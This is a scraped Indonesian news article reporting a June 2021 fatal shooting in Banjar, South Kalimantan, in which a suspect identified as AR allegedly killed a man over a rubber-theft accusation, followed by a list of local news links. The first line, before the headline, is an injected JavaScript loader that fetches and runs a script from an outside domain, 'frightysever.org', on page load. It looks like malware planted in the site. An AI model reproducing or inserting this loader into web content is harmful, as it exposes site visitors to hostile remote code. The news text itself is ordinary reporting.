(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

DOR! Sakit Hati Dilaporkan Mencuri Karet, AR Tembak Korban dengan Senjata Rakitan


KANALKALIMANTAN.COM, MARTAPURA– Kasus penembakan kembali terjadi di Kalsel. Peristiwa terjadi di depan mess perkebunan karet milik H Sinar, di Desa Lok Tanah, Kecamatan Telaga Bauntung, Kabupaten Banjar, Jumat, (4/6/2021) pukul 13.00 Wita. Saladri, korban dalam peristiwa ini meninggal di lokasi kejadian setelah mendapatkan luka tembak di tubuhnya.

Hingga saat ini, pelaku berinisial AR, (24), masih dalam proses pencarian Polres Banjar. Diketahui pelaku sebelumnya kabur menggunakan motor Mio warna hijau (tanpa plat nomor) dan masih membawa senjata rakitan Laras Panjang (Dum-Duman).

Kapolres Banjar AKBP Andri Koko Prabowo melalui Kasubag Humas Polres Kabupaten Banjar Iptu Suwarji saat dikonfirmasi Kanalkalimantan.com melalui pesan whatsapp, membenarkan bahwa telah terjadi kasus penembakan terhadap seorang warga di Kabupaten Banjar.

“Pada hari Jumat, (4/5/2021) telah terjadi dugaan tindak pidana pembunuhan dengan menggunakan senjata rakitan laras panjang yang menewaskan seorang warga di Kabupaten Banjar,” ucapnya.

Menurut keterangan saksi kronologis kejadian tersebut, pada saat saksi berada di dalam mess sedang menonton TV. Kemudian saksi mendengar ada suara cekcok yang diketahuinya adalah korban Saladri dengan pelaku AR.
Tak lama kemudian terdengarlah bunyi suara tembakan sebanyak satu kali. Lalu, saksi keluar dari mess dan melihat korban sudah dalam keadaan jatuh dalam posisi tertelungkup di tanah.

Pada saat bersamaan saksi melihat pelaku dalam posisi berdiri dan memegang senjata rakitan ditangan sebelah kanannya.

Saksi juga melihat istri korban tidak jauh berada dari sepeda motor korban dan selain senjata rakitan saksi juga melihat pelaku membawa senjata tajam jenis parang yang diselempangkan di pinggang sebelah kiri namun masih dalam keadaan di dalam sarungnya.

Tidak lama kemudian pelaku melarikan diri dengan menggunakan kendaraan roda dua jenis Yamaha Mio warna Hijau tanpa nopol.

Menurut keterangan saksi, sebelum kejadian tersebut sekitar sebulan yang lalu pelaku dengan korban pernah ada permasalahan yaitu korban menuduh pelaku dan melaporkan kepada pemilik kebun karet bahwa pelaku sering mencuri karet untuk dijual di tempat lain.

Setelah kejadian tersebut korban Saladri langsung dibawa ke RSUD Datu Sanggul dan dalam keadaan sudah meninggal dunia. Di duga motif pelaku membunuh korban, pelaku sakit hati akibat di tuduh oleh korban mencuri getah karet di kebun milik (Alm) H Sinar. (Kanalkalimantan.com/shintia)

 

Reporter : Shintia
Editor : Cell

 

 

 


Al Ghifari

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

9 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

11 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

11 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

12 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

12 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

13 jam ago